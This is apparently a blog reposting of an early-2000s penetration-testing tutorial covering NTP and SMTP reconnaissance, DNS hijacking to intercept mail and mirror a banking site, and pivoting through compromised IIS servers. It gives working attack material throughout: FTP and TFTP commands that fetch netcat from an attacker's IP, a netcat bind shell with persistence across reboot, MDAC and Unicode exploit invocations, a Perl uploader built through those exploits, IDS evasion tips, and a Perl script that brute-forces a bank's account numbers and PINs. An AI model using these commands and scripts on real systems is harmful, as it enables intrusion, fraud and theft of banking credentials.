Network time protocol cannot really be regarded as a exploitable service (yet, and that I know of). In some very special situations however, it can be useful. Let us assume that a big corporation is time syncing all their servers to the same stratum X server. Using NTP tools, you would be able to query the NTP server to find a list of servers (with a lower stratum level) time syncing to this one (higher stratum level) server. Practically it will work like this - I am going to query a stratum 1 server for a list of machines that time synch with it (extract):
> xntpdc -c mon ntp.is.co.za
remote address port local address count m ver drop last
=======================================================================
gauntlet.didata.co.za 34974 196.33.55.162 12995 3 4 0 2 131912
fwj5.tns.co.za 34238 196.36.249.102 1738 3 3 0 3 131873
gauntlet-cpt.sanlam.co 36418 196.34.250.26 3667 4 3 0 3 111071
168.209.28.150 36468 168.209.28.150 1011 3 3 0 4 131863
fwj002-pat.fw.is.co.za 35221 196.14.136.73 32274 3 1 0 5 131915
mail2.is.co.za 36826 196.36.153.35 1110 3 3 0 5 131902
196.23.0.209 32890 196.23.0.209 14919 3 1 0 5 105141
196.15.219.132 35079 196.15.219.132 1042 3 3 0 2 131866
gauntlet.pg.co.za 35437 196.33.55.178 1322 3 3 0 1 131866
gauntlet.samiea.org.za 34313 196.35.252.97 1291 3 3 0 2 117117
real01.sabcnews.com 34324 196.14.235.121 2862 3 3 0 7 131886
sw-ded-2.hosting.co.za 34309 196.36.198.203 1646 3 3 0 7 114724
ns1.is.co.za 31753 196.4.160.7 2011 3 3 0 7 131879
gauntlet.jse.co.za 33901 196.38.196.178 2051 3 3 0 7 131870
admin.is.co.za 34587 196.23.0.9 1829 3 3 0 8 131887
Hmmm...just look at those interesting DNS names. It seems as though this company is using this server to sync a whole lot of firewalls and other machines (that need NTP, and the mere fact that they are using NTP says something). As said before - this service might not be exploitable, but it could be used for intelligence.

Friday, October 15, 2010

DNS (53 TCP,UDP)

DNS (53 TCP,UDP)
DNS must be one of the most underrated services in terms of hacking. DNS is most powerful. Let us look what can be done by only manipulating DNS. Let's assume that I have full control of a domain's primary DNS server. For this example we'll assume that the domain name is sensepost.com. Sensepost.com's has two MX records; one marked as pri 10 - wips.sensepost.com and the other pri 20 - winston.mtx.co.za. Let say for now that I insert another MX records at pri 5 - and point it to attacker.com. What would be the effect of this? All mail to sensepost.com would first travel to port 25 at attacker.com. At attacker.com it can be read at leisure and then redirected to the MX 10 (wips.sensepost.com), and we won't know of any better. Sure, if one look at the mail header it will show that the email is relayed through attacker.com, but how many people check their mail header on a regular basis? How do we do the actual redirect? A slightly modified version of "bounce" (a popular TCP redirector program that is available for just about any platform) comes in very handy. The program binds to a port and redirects any traffic from one IP to a port on another IP. I have modified bounce in order to see the actual traffic - line 75 is inserted and reads:
fprintf(stdout,"%s\n",stail);
and inserted line 83 reads:
fprintf(stdout,"%s\n",ctail);
so that all "server" and "client" data is written to the /var/log/messages file (it is up to the reader to write nice parsing code to populate individual mailboxes according the "RCPT TO:" field). The program is called with the following parameters:
bounce_rt -a 160.124.19.98 -p 25 196.xxx.115.250 25
In above case my IP is 160.124.19.98 (the attacker.com) and 196.xxx.115.250 is the victim. SMTP traffic is seamlessly translated from me to the victim - the only trace that the mail was intercepted is the mail header.
Things get more interesting where commerce sites are involved. Let us assume that my victim has an Internet banking site. I completely mirror the site, and point the DNS entry for the banking site to my IP number (where the mirror is running). The site is a mirror save for the backend system - the mirror replies with some kind of error, and the link to "please try again" is pointing to the actual IP number of the real site. Sure - what about SSL and server certificates you might say. And what about it? Do you REALLY think that people notice when a connection is not SSL-secured? Maybe 10% would - the rest would gladly enter their banking details on an open link. My "fake" site would farm a whole lot of interesting data before anyone would know the difference.
Another application for DNS hijacking would be abusing of trust relationships. Any service that makes use of DNS names for authentication can be tricked into allowing access to an attacker (provided that one also controls the reverse DNS entries). Here I am thinking of any TCP wrapped service, R-services and possibly even SSH.
How does one gain control over a primary DNS server? Maybe this is easier than you would expect. Why would we want to take over the DNS server if we can simply BE the primary DNS server? Remember when you registered your domain? You needed to provide a primary and secondary DNS server (now-a-days places like Register.com does that for you - but you still have the option to change it). And there is some mechanism for you to change that - right? (at Register.com is a username and a password) So - it would be possible for me to change it - by basically convincing the system (be that human or electronic) that I am you. And all of sudden a large portion of your IT infrastructure and security hinges on a single username and password.
Another attack (that has been successfully carried out in the field many times) is simple social engineering. Most corporates host their DNS service at an ISP. Why bother to set up a primary DNS server and change DNS entries on root servers if I can convince your ISP to make changes to your local DNS? How does your ISP identify you? A telephone call? A fax? E-mail? All of which can be spoofed. Even scarier. All of a sudden things move away from high technology and hyper secure servers and we are down to more "meat" things - and technology that was never intended to be used as security devices.
Attacking the DNS service itself by using exploits is also an option. Certain versions of the popular DNS service BIND for Unix have known exploits, and can be tricked into giving you a root account on the host. How to find vulnerable DNS servers? There is the quick way, and the proper way for bulk scanning. The quick way is to issue the command:
dig @ns.wasp.co.za version.bind chaos txt
would result in the output:
; <<>> DiG 8.3 <<>> @ns.wasp.co.za version.bind chaos txt
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUERY SECTION:
;; version.bind, type = TXT, class = CHAOS
;; ANSWER SECTION:
VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"
;; Total query time: 592 msec
;; FROM: wips.sensepost.com to SERVER: ns.wasp.co.za 196.31.211.1
;; WHEN: Tue Sep 19 16:27:43 2000
;; MSG SIZE sent: 30 rcvd: 63
note the part that says [VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"]. This tells us that ns.wasp.co.za is using BIND version 8.2.2-p5 - a safe version (at the time of writing :)) This method is a bit messy, but works fine if you quickly want to check some version. A better way is to use VLAD. The script in question is "dnsver.pl", a script that check the BIND version, and report if it is vulnerable or not:
> perl dnsver.pl -v ns.wasp.co.za
RAZOR BIND Scanner v1.0.1
By Robert Keyes (c) BindView Corporation
http://razor.bindview.com/tools/vlad/
Requires Net::DNS module from
http://cpan.valueclick.com/authors/id/M/MF/MFUHR/Net-DNS-0.12.tar.gz
Checking ns.wasp.co.za
Server Response: NOERROR
DNS Server Version: BIND 8.2.2-P5
The script only finds the BIND version, and as such is non-intrusive. Using
this script with multiple IP numbers are very simple. Put the IP you wish to
check for in a file (assuming the file is called /tmp/ips) Execute the
following script, piping its output to your results file:
#!/usr/local/bin/tcsh foreach a (`cat /tmp/ips`)
perl dnsver.pl -v $a
continue
end
By this time you should really be familiar with this type of script.

FTP (21 TCP + reverse)

This summary is not available. Please click here to view the post.

Thursday, October 14, 2010

SMTP (25 TCP)

SMTP (25 TCP)
Back in the good old days just about every mail server was running Sendmail. And Sendmail was littered with security holes. Nowadays Sendmail is pretty safe (yet a lot of people still have bad memories of it, and as such refuse to use it). The other common MTS is Microsoft Exchange. Other UNIX mail servers include qmail and smail. What vulnerabilities exist in SMTP gateways? If we assume that you are dealing with a rather new version of Sendmail it seems like SMTP is pretty safe (in terms of getting control over a server). Mailbombing...sure, getting root when one already have a shell - sure. But remotely - I don't think so. Would anyone find a nasty buffer overflow in MS Exchange it would probably be the next big thing. Anyone?
In terms of intelligence gathering SMTP can provide you with some interesting stuff - EXPN and VRFY have been discussed in depth in the examples - lets not go there again. Mail spamming - well its not really hacking now is it?
SMTP can also be used to discover the soft insides of networks by sending a "bounce" message. Such a message is a message that is addressed to a user that does not exists. The mail will travel all the way to the most internal mail server who will then reply to you stating that the user is not known. By looking at the returned mail's STMP header would you gain some useful information about the mail path, and thus the internal network. Let us look at an example. We want to see the SMTP path of the domain nedcor.co.za. We send email to klasiedewaal@nedcor.co.za (we suspect there wont be such a user at the domain), with body text: "Hi bud - got your email address form Amy - if you receive this in good order, write back to me. Your friend, Roelof". Obviously the idea is not the make the "bounce" message look suspect. Now, let us look at the listed MX records for the domain:
/# host -t mx nedcor.co.za
nedcor.co.za mail is handled (pri=10) by mailmarshall-1.hosting.co.za
nedcor.co.za mail is handled (pri=10) by mailmarshall-2.hosting.co.za
nedcor.co.za mail is handled (pri=50) by prometheus.nedcor.co.za
The SMTP returned mail header looks like this:
Received: from prometheus_old.nedcor.co.za ([196.36.217.137])
by wips.sensepost.com (8.9.3/8.9.3) with SMTP id WAA18570
for ; Sun, 10 Sep 2000 22:48:29 +0200 (SAST)
(envelope-from )
Received: FROM ARES.it.nednet.co.za BY prometheus_old.nedcor.co.za ; Sun
Sep 10 22:43:09 2000 +0200
Received: by ares.it.nednet.co.za with Internet Mail Service (5.5.2650.21)
id ; Sun, 10 Sep 2000 22:43:19 +0200
Message-ID: <35D6C187048AD311882F00805FD7EDE402F57314@ares.it.nednet.co.za>
We learn from this header that mail "terminates" at ares.it.nednet.co.za. From there it hops to prometheus_old.nedcor.co.za. This is interesting as both these machines are not resolvable from the Internet, and should therefore be considered as "internal".

Wednesday, October 13, 2010

What to execute?

What to execute?
A tool that I like using once command line access has been gained on a NT box is FSCAN.EXE (get it at Packetstorm or at www.sensepost.com/summercon2001/fscan.exe). It is a nifty command line portscanner that is packed with features. Once compromised, this portscanner is uploaded, and scanning on the rest of the network can begin. Make sure that you know where to scan - study your surroundings, like explained earlier.
Let us look at an example:
>fscan 169.xxx.201.1-169.xxx.201.255 -p 80,1433,23 -o c:\inetpub\wwwroot\sportscan.txt
Above portscan will identify all hosts running webservers, telnet daemons and MS-SQL, and will send the output directly to a file called sportscan.txt that is located in the webroot -ready to be surfed. The output of such a scan could look like this:
Scan started at Thu Oct 12 05:22:23 2000
169.xxx.201.2 23/tcp
169.xxx.201.4 80/tcp
169.xxx.201.4 1433/tcp
169.xxx.201.11 80/tcp
169.xxx.201.20 1433/tcp
169.xxx.201.77 80/tcp
169.xxx.201.160 80/tcp
169.xxx.201.254 23/tcp
Scan finished at Thu Oct 12 05:52:53 2000
Time taken: 765 ports in 30.748 secs (24.88 ports/sec)
From this portscan we can neatly identify potential "next hop" servers. If we assume that 169.xxx.201.4 is located in the private network (and that the host where this scan was executed from is in the DMZ) it makes sense to try to find the same vulnerabilities on 169.xxx.201.4. The idea is thus to compromise this host - that will give us access to resources on the private network. It might even be interesting to see what is running on the MS-SQL part of the server. We now want to be able to fire up SQL Enterprise server, hop via the compromised host right onto the SQL port on 169.xxx.201.4 (assuming of course that we cannot go there direct).
How is this accomplished? One way could be to hook two instances of netcat together - something like nc -l -p 53 -e 'nc 169.xxx.201.4 1443', but I have found that this method does not work that nice in all situations. Courtesy of a good friend of mine (you know who you are) enter TCPR.EXE. Tcpr.exe takes 4 arguments:Tcpr starts to listen on listenPort, relaying (on a network level) all traffic to destinationIP on port destinationPort. Before it relays a connection it checks for the existence of killfile, and if so, it exists very quietly. The killfile is only there to make it easy to kill the relay as there is no kill `ps -ax | grep tcpr | awk '{print $1}'` available in the standard NT distribution (har har). With tcpr we can now redirect traffic on a non-filtered port on the first host to a port on the next victim. The TCPR.EXE program is available at www.sensepost.com/summercon2001/tcp.zip.
Keeping all of above in mind, we could reach the SQL server by uploading tcpr.exe to the victim and executing the following command (let us assume that the site is vulnerable to the Unicode exploit - the attacker is using my Unicode PERL exploit, port 53 is not filtered, and tcpr.exe has been uploaded to c:\temp using the upload page):
perl unicodexecute3.pl :80 'c:\temp\tcpr 53 169.xxx.201.4 1443 c:\blah.txt'
In the SQL enterprise manager we cannot specify the port. We thus need to "bounce" the local port 1433 to port 53 on the webserver. For this we use the utility "bounce".
Use: bounce [-a localaddr] [-p localport] machine port
#bounce -a 127.0.0.1 -p 1433 53
Ready to bounce connections from port 1433 to on port 53
Pointing your SQL enterprise manager to 127.0.0.1 we now reach the SQL server running on the inside of the private network. Assuming a blank SA password, we are home free. When we are finished with the SQL server, and now want to attack the webserver we simple do:
perl unicodexecute3.pl :80 'echo aaa > c:\blah.txt'
telnet 53
perl unicodexecute3.pl :80 'del c:\blah.txt'
perl unicodexecute3.pl :80 'c:\temp\tcpr 53 169.xxx.201.4 80 c:\blah.txt'
Using this technique we can now "daisy chain" several exploitable IIS servers together, reaching deep within a network. If we assume that the server on 169.xxx.201.4 is exploitable via the MDAC bug, exploiting the server would be as simple as:
perl rfpnew.pl -h -p 53 -C ''
By simply modifying the convert.pl script mentioned earlier to point to port 53, we can start to build the upload page on the internal server, and the cycle continues. If you struggle to keep track on what server you are working don't despair, it happens...
Using PERL2EXE one can also "port" PERL scripts from Unix to Win32. Using this one can upload an exploit to the webserver, and execute it locally.

Tuesday, October 12, 2010

Now what?

Now what?
Most books and papers on the matter of hacking always stop at the point where the attacker has gained access to a system. In real life it is here where the real problems begin - usually the machine that has been compromised is located in a DMZ, or even on an offsite network. Another problem could be that the compromised machine has no probing tools or utilities and such tools to work on an unknown platform is not always that easy. This part deals with these issues. Here we assume that a host is already compromised - the attacker has some way of executing a command on the target.
Some hosts are better for launching 2nd phase attacks than others - typically a Linux or FreeBSD host is worth more than a Windows NT webserver. Remember – the idea is to further penetrate a network. Unfortunately, you can not always choose which machines are compromised. Before we start to be platform specific, let us look at things to do when a host is compromised. The first step is to study one's surroundings. With 1:1NAT and other address hiding technologies you can never be too sure where you really are. The following bits of information could help (much of this really common sense, so I wont be explaining *why* you would want to do it):
1. IP number, mask, gateway and DNS servers (all platforms)
2. Routing tables (all platforms)
3. ARP tables (all platforms)
4. The NetBIOS/Microsoft network - hosts and shares(MS)
5. NFS exports (Unix)
6. Trust relationships - .rhosts, /etc/hosts.allow etc. (Unix)
7. Other machines on the network - /etc/hosts , LMHOSTS (all platforms)
All of the above will help to form an idea of the topology of the rest of the network - and as we want to penetrate further within the network its helpful. Let us assume that we have no inside knowledge of the inner network - that is - we don't know where the internal mailserver is located - we don't know where the databases are located etc. With no tools on the host (host as in parasite/host), mapping or penetrating the inner network is going to take very long. We thus need some way of getting a (limited) toolbox on the host. As this is quite platform specific, we start by looking at the more difficult platform - Windows.
We are faced with two distinct different problems - getting the tools on the host, and executing it. Getting the tools on the host could be as easy as FTP-ing it to the host (should a FTP server be running and we have a username and password - or anonymous FTP). What if only port 80 is open?
Here's where things start to become more interesting. The easy way to get software on the host is to FTP it. Typically you will have the toolbox situated on your machine, and the host will FTP it from you. As such you will need an automated FTP script - you cannot open an FTP session directly as it is interactive and you probably do not have that functionality. To build an FTP script execute the following commands:
echo user username_attacker password_attacker > c:\ftp.txt
echo bin >> c:\ftp.txt
echo get tool_eg_nc.exe c:\nc.exe >> c:\ftp.txt
echo quit >> c:\ftp.txt
ftp -n -s:c:\ftp.txt 160.124.19.98
del c:\ftp.txt
Where 160.124.19.98 is your IP number. Remember that you can execute multiple command by appending a "&" between commands. This script is very simple and will not be explained in detail as such. There are some problems with this method though. It makes use of FTP - it might be that active FTP reverse connections are not allowed into the network - NT has no support for passive FTP. It might also be that the machine is simply firewalled and it cannot make connections to the outside. A variation on it is TFTP – much easier. It uses UDP and it could be that the firewall allows UDP to travel within the network. The same it achieved by executing the following on the host:
tftp -I 160.124.19.98 GET tool_eg_nc.exe c:\nc.exe
As there is no redirection of command it makes it a preferred method for certain exploits (remember when no one could figure out how to do redirects with Unicode?). There is yet another way of doing it - this time via rcp (yes NT does have it):
rcp -b 160.124.19.98.roelof:/tool_eg_nc.exe c:\nc.exe
For this to work you will need to have the victim's machine in your .rhosts and rsh service running. Remote copy uses TCP, but there is no reverse connection to be worried about. Above two examples do not use any authentication - make sure you close your firewall and/or services after the attack!
In these examples one always assume that the host (victim) may establish some kind of connection to the attacker's machine. Yet, in some cases the host cannot do this - due to tight firewalling. Thus - the host cannot initiate a connection - the only allowed traffic is coming from outside (and only on selected ports). A tricky situation. Let us assume that we can only execute a command - via something like the MDAC exploit (thus via HTTP(s)). The only way to upload information is thus via HTTP. We can execute a command - we can write a file (with redirection). The idea is thus to write a page - an ASP/HTML page that will facilitate a file upload. This is easier said then done as most servers needs some server side components in order to achieve this. We need an ASP-only page, a page that does not need any server side components. Furthermore we sitting with the problem that most HTML/ASP pages contains characters that will "break" a file redirection - a ">" for instance. The command echo >> c:\inetpub\wwwroot\upload.htm won’t work. Luckily there are some escape characters even in good old DOS. We need a script that will convert all potential difficult" characters into their escaped version, and will then execute an "echo" command - appending it all together to form our page. Such a script (in PERL) looks like this:
#!/usr/local/bin/perl
# usage: convert
open(HTMLFILE,@ARGV[0]) || die "Cannot open!\n";
while() {
s/([<^>])/^$1/g; # Escape using the WinNT ^ escape char
s/([\x0D\x0A])//g; # Filter \r, \n chars
s/\|/\^\|chr\(124\)\|/g; # Convert | chars
s/\"/\^\|chr\(34\)\|/g; # Convert " chars
s/\{/\^\|chr\(123\)\|/g; # Convert { chars
s/\&/\^\|chr\(38\)\|/g; # Convert & chars
system "perl rfpnew.pl -h @ARGV[1] -p 80 -C 'echo $_ >> c:\\@ARGV[0]'\n";
}
close (HTMLFILE);
#Spidermark: SensePostdata
This script (which was butchered from some other PERL script by Scrippie/Phreak) takes two arguments - the first is the file that needs to be uploaded, the second the target/victim host's IP number. It makes use of another script - rfpnew.pl - a hack of the popular MDAC exploit by Rain Forrest Puppy with extra functionality to specify the port number and to pass the command to be executed as parameter. The convert script will create a file with the same filename as the one specified in c:\. It simply reads every line from the source file, converts all difficult characters and appends the "converted" line to the file on the target. The PERL script rfpnew.pl (its a nasty hack - don't you dare look at the code) can be found on www.sensepost.com/summercon2001/rfpnew.pl. It don't list it here only because it rather large.
The only part missing here is the actual file that is needed for uploading. After some searches on the Internet, I got hold of a .ASP & .INC file pair that neatly facilitates uploading to a server - without any server side components (credit to those that wrote it - I can not remember where I got it from). Once these two files are "built" (using above script) and transferred into the webroot, one can simply point ones browser to the correct URL and upload a toolbox via HTTP. The files upload.asp and upload.inc is to be found at www.sensepost.com/summercon2001/upload.asp and www.sensepost.com/summercon2001/upload.inc (I don't list them here because they are quite large). Be sure to move the uploaded files to the right spot - keep them in the same directory, and keep the filenames the same -upload.asp and upload.inc, unless you want to meddle with the ASP and INC files.
In a nutshell (for the script kids):
• get upload.asp, upload.inc and rfpnew.pl from the site.
• cut & paste the converter script to convert.pl and put it in the same directory
• perl convert upload.asp
• perl convert upload.inc
• perl rfpnew.pl -h -p 80 -C 'move c:\upload.asp \upload.asp'
• perl rfpnew.pl -h -p 80 -C 'move c:\upload.inc \upload.inc.
• surf to http://target/upload.asp.
• upload your good stuff
• inhale/exhale
In the same way the upload page can be build using the Unicode bug. I recently wrote a tool called unicodeloader.pl which does exactly that - it builds the upload page with echos using the Unicode bug.
The next step would be to execute something on the host. With the uploader in place, the obvious choice would be to upload netcat, and to thus create a DOS shell. In an environment where the host/target is not tightly firewalled this is a good idea- bind to any closed (non-filtered) port. Where the host/target only has port 80 (or 443) open it becomes more interesting. Netcat (for WinNT) has a "single bind" mode (-l) that will only redirect the next incoming connection to the executor (-e); the connection thereafter will be caught by the webserver. Here timing is of essence - you would want to make sure that you get the very next connection after the single bind was executed. How does one make sure of this? Hping is a tool that has the functionality to display differentials in IP id numbers. Bottom line - if you do a
# hping -r target -p 80 -S
and your relative ID are +1, you know its only you speaking to the host. The higher the relative IDs, the busier the host. If the host is busy you prolly won’t be the next caller..
In a situation where we cannot use netcat, our "tool" needs to be command line driven, and needs to be able to either create files as output, or to output results to standard out - where it can be redirected to a file. These files could simply be created directly into the webroot - in this way the attacker can view her results in a webbrowser. One now begin to understand the merit of command line port scanners (for NT) such as FSCAN.EXE and things like windump that does not need any registry changes or install shields.
(after nc.exe has been uploaded in c:\temp and assuming MDAC exploit) perl rfpnew.pl -h -p 80 -C 'c:\temp\nc.exe -l -p 53 -e cmd.exe'
telnet 53
Trying ...
Connected to .
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>
The only thing that netcat really is doing is making it faster and easier to execute command line commands. Netcat also helps in situations where one does not have the luxury of time - such as in the examples where you only have NetBIOS access. To ensure that you keep connectivity with the target you might want to execute a "netcat -L -p 53 -e cmd.exe" sitting in winnt/system32/setup.exe (you could execute it from a batch file and convert the batch file to an EXE). When the host reboots it will be listening on port 53 for incoming connections. All you need to do is to probe port 53 continuously.

Monday, October 11, 2010

IDS & webservers

IDS & webservers
IDS (Intrusion Detect Systems) must one of the more painful inventions - for hackers. Luckily ID systems are seldomly properly configured. ID systems looks for patterns or signatures in datastreams. If the pattern in the datastream matches that of a pattern in the IDS's database (that is marked as "bad") the IDS reacts. Reaction can be logging the offensive packet, but it could also be sending a combination of RST packets, ICMP redirects/port unreachable/host unreachable packets back to the offending party. In other words - if you send naughty packets the IDS will kill your connection. Running a whisker scan against a machine that is monitored by an IDS will cause the IDS to go ballistic.
Luckily RFP build some interesting "cloaking" techniques into his scanner. Read his documentation to find out how it works. Whisker has 10 different cloaking methods, and the basic idea is that you camouflage the URL in different ways, hoping the IDS won't recognize the malicious pattern. The -S switch decides what method would be used. Add it when you are not getting results - it might be an IDS killing all your requests.
An interesting point to note is that it does not make sense to use anti-IDS techniques when you are attacking an SSL-enabled site. The traffic is encrypted remember? (if the IDS is running on the host itself...what comes 1st - the IDS or the decryption? After a lengthy discussion on the Vuln-dev mailing list, it was clear that IDS does not work with SSL. The bottom line - if you are having troubles with IDS - go for the SSL-enabled sites 1st.
Obviously all of the above techniques can be used in conjunction with each other. Doing datamining with anti-IDS on a SSLv2 site that use Basic Authentication is thus entirely possible (although the SSL bit wont make any sense..).

Sunday, October 10, 2010

ELZA & Brutus

ELZA & Brutus
Some time later I heard about a tool called Elza. What a neat tool. It basically does all the stuff that I have done in the PERL scripts. It uses a kind of scripting language that takes a bit of getting used it - but that is VERY powerful. The docs on Elza has a nice example for creating 10000 random hotmail accounts :) Elza will handle cookies, HTTP redirection and URL state strings. It also has extensive support for brute forcing web based authentication schemes. Very nice.
Even later I had a look at a program called Brutus (for Windows). Brutus will actually learn a CGI form, and gives you the ability to brute force any part of the form. It works for most types of forms, but I have found that in some intense environments, Brutus does not cut it.

Saturday, October 9, 2010

Web based authentication.

Web based authentication.
What happens when you are faced with a website that use a username and a password on the page itself - that is - no basic authentication or digest/NTML authentication, but coded in a ASP op PHP? I have been asked this question many times, and will try to explain the way I handle it. There is no quick fix - each page looks different, the tags are not the same etc. I will try to explain a generic solution.
Step 1: Get the source. You should first get the HTML source of the site prompting for a username and password - now obviously if the source is in a frame you'll need to get the frame's source.
As an example I'll use a big South African bank's Internet banking pages (its SSL protected, so that will make things interesting as well). We strip all the Java validation, and the tables - we are only interested in the section starting at
and ending at
. We are left with source that looks like this:

Profile Number :


Profile PIN :







Step 2: getting the HTTP POST request. Now the more expert web developers could probably see exactly what the HTTP header would look like - but I am a bit slow so we want to make sure that we don't make a cluck-up. Safe the edited HTML source somewhere, and modify it slightly - we want the HTTP request to go through in the clear (so that we can monitor it) and so we will change the destination from

to:
METHOD="POST"
The IP 160.124.19.97 is the machine right next to me on my network (not running any form of HTTPd but this is not a problem). We now fire up our favorite network sniffer looking for traffic to the IP 160.124.19.97 on port 80, while we "surf" our edited file (get it - the idea is to see the POST request in the clear). We enter some values in the fields and hit submit. On a network level the HTTP request looks like this:
# seepkt "ip and dst port 80 => show ascii"
POST /scripts/xxx/xxx.dll?Logon HTTP/1.0^M
^JConnection: Keep-Alive^M
^JUser-Agent: Mozilla/4.72 [en] (X11; I; FreeBSD 4.0-20000727-STABLE i386)^M
^JHost: 160.124.19.97^M
^JAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*^M
^JAccept-Encoding: gzip^M
^JAccept-Language: en^M
^JAccept-Charset: iso-8859-1,*,utf-8^M
^JContent-type: application/x-www-form-urlencoded^M
^JContent-length: 45^M
^J^M
^JProfileNumber=123456789&PIN=5555&Graphics=Off
(thnx to JT (you know who you are) for such a fine tool like seepkt) OK - now don't worry about the ^J's and the ^M and the start and end of the lines.
Step 3: replay the request. Now if we can send this HTTP header + 1 line of text to the server, the server will think that we are trying to log into it,
and will respond with some HTML in return. So - we need a program or script that will generate this request and send it to the webserver. Most of the header is static, but there are some fields that are dynamic. The basic structure of such a script would look like this:
1. set up the target IP and port (and other bits)
2. build the POST request
3. calculate and build the HTTP header
4. send it all to the server
5. parse the results
We might want to loop parts 2-5 for different "usernames" and "passwords". These "usernames and passwords" are read from a file. Remember that the site is SSL protected, so let us assume a SSL-proxy is running on the local machine, pointing to the target, and listening on port 5555. Let's now look at the actual script:
#!/usr/bin/perl
use Socket;
########[1] Init all
$host = "127.0.0.1";
$port = 5555;
$urlthingy = "/scripts/xxx/xxx.dll?Logon";
$target = inet_aton($host);
open (INPUT,"accounts") || die "Could not open account file\n";
########[loop] begin
while ()//{
chop;
($account,$pin)=split(/:/,$_)
print "Testing account $account with PIN $pin : ";
#######[2] Build POST request
$poststring="ProfileNumber=".$account."&PIN=".$pin."&Graphics=Off";
#######[3] calculate & build HTTP header
$plength=length("$poststring");
$tosend=<POST $urlthingy HTTP/1.0
Content-Length: $plength
Connection: Keep-Alive
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
$poststring
EOT
;
$tosend=~s/\n/\r\n/g;
#######[4] Send it to the server
#print $tosend;
my @results=sendraw($tosend);
#print @results;
#######[5] Parse the results
my $fail=0;
for (@results) {
if (/The Profile/) {$fail=1;}
}
for (@results) {
if (/PIN/) {$fail=2;}
}
for (@results) {
if (/Before/) {$fail=3;}
}
if ($fail == 1) {print "not a valid account number\n";}
if ($fail == 2) {print "not a valid PIN\n";}
if ($fail == 3) {print "not a registered account number\n";}
if (!$fail) {print "is good! Bingo! \n";}
#######[loop] end }
close (INPUT);
#### sub to send it to server - ta RFP!
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(){ push @in, $_;
print STDOUT "." if(defined $args{X});}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
Obviously this script have to be modified to suits your need - especially the parsing bit..:) The "account" file contains ":" separated fields -e.g.
123456789:1234
987654321:4321
etc.
Tricks
If your script does not work the first time - do not despair - things have to be exactly right to work. Test your script without any loops, and hardcode the actual POST string (you'll have to calculate the "content length" yourself though). Uncomment the part where the HTTP header is printed - make sure it is exactly right.
Obviously you'll have to check what the results are to be able to parse the results - you would want to uncomment the part where the results are returned (it helps when you have a valid username and password in order to parse a positive result).
Virtual hosted sites. When sending data to virtually hosted sites you'll have to add a "Host: the_URL" in the HTTP header so that the server know with which virtually hosted site you are talking to. It is trivially easy to add this to the above script.
Cookies - they are there no make life a little more difficult. The server sends a cookie to the client, and the client needs to pass the cookie along all the time for the request to be valid. The idea is thus to first "capture" the cookie from the correct URL, and then to pass the cookie along in the POST request. Hereby is extract from a similar script that uses cookies:
#---------------discover the cookie
$xtosend=<GET /xxx/Logon_access.asp?langind= HTTP/1.0
Connection: Keep-Alive
User-Agent: SensePostData
Host: $posthost
Accept-Charset: iso-8859-1,*,utf-8
EOT
;
$xtosend=~s/\n/\r\n/g;
my @results=sendraw($xtosend);
#---------parse the result for the cookie jar
foreach $line (@results) {
if ($line =~ /Cookie/) {
$line =~ s/ //g;
$line =~ s/;/:/g;
($dummy,$cookie)=split(/:/,$line);
# print "magic cookie=[$cookie]\n";
}}
#---Get the real request out to the server
$tosend=<POST $urlthingy HTTP/1.0
Cookie: $cookie
Content-Length: $plength
Connection: Keep-Alive
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded
$poststring
etc.etc.
Trick - set your browser to warn you of incoming cookies, and see if your script captures all the cookies.
I have found that on some servers the "Connection: Keep-Alive" tag breaks the script. I fiddled with the HTTP/1.0 / HTTP/1.1 field - sometimes these two fields needs to be modified. Experiment!

Friday, October 8, 2010

Data mining

Data mining
Another nice feature of whisker is that of "data mining" - searching for interesting files or directories on servers. Another program that does the same type of thing is called cgichk (I got it off Packetstorm - I don't see any URLs in the documentation). We will stick to whisker though. The default database does some mining but better mining databases exist. One such a DB is brute.db - also to be found on RFP's site. This DB makes whisker search for anything that looks password-ish, admin-ish and other interesting files. Keep your eyes open for similar DB files.
I recently started working on another technique that is proving to be quite useful. The idea here is to mirror the while website and find common directories. For instance, an administrative backend that sits on http://xx.com/whole_site_here/admin.asp wont be found with the normal techniques. The idea is thus to mine the site for directories and put the common dirs into the brute.db file of whisker. Lets look at how to. First I copy the site (using lynx)
# lynx -accept_all_cookies -crawl -traversal http://www.sensepost.com
(You might try something like TeleportPro for Windows as well) You will a lot of files in the directory where you executed the command from. The *.dat files contains the actual pages. The file "reject.dat" is interesting as it contains link to other sites - it might help you to build a model of business relations (if anything). It also shows all the "mailto" addresses - nice to get additional domain names related to the target. In the file "traverse.dat" you will find all the link on the page itself. Now all you need to do is look for common directories & populate the whisker brute.db file with it.
/tmp> cat traverse.dat | awk -F 'http://www.sensepost.com/' '{print
/$2}' | awk -F '/' '{print $1}' | sort | uniq | grep -v "\." | grep -v "\?"
misc
training
You need to change the root directories to brute.db in the line that says:
array roots = /, cgi-bin, cgi-local, htbin, cgibin, cgis, cgi, scripts
to something like:
array roots = /, misc, training, cgi-bin, cgi-local, htbin, cgibin, cgis, cgi, scripts
Now fire up whisker with the new brute.db file.
> perl whisker.pl -h www.sensepost.com -s brute.db -V,
and you might be surprised to find interesting files and directories you wouldn’t have seen otherwise.

Thursday, October 7, 2010

HTTP + Basic authentication

HTTP + Basic authentication
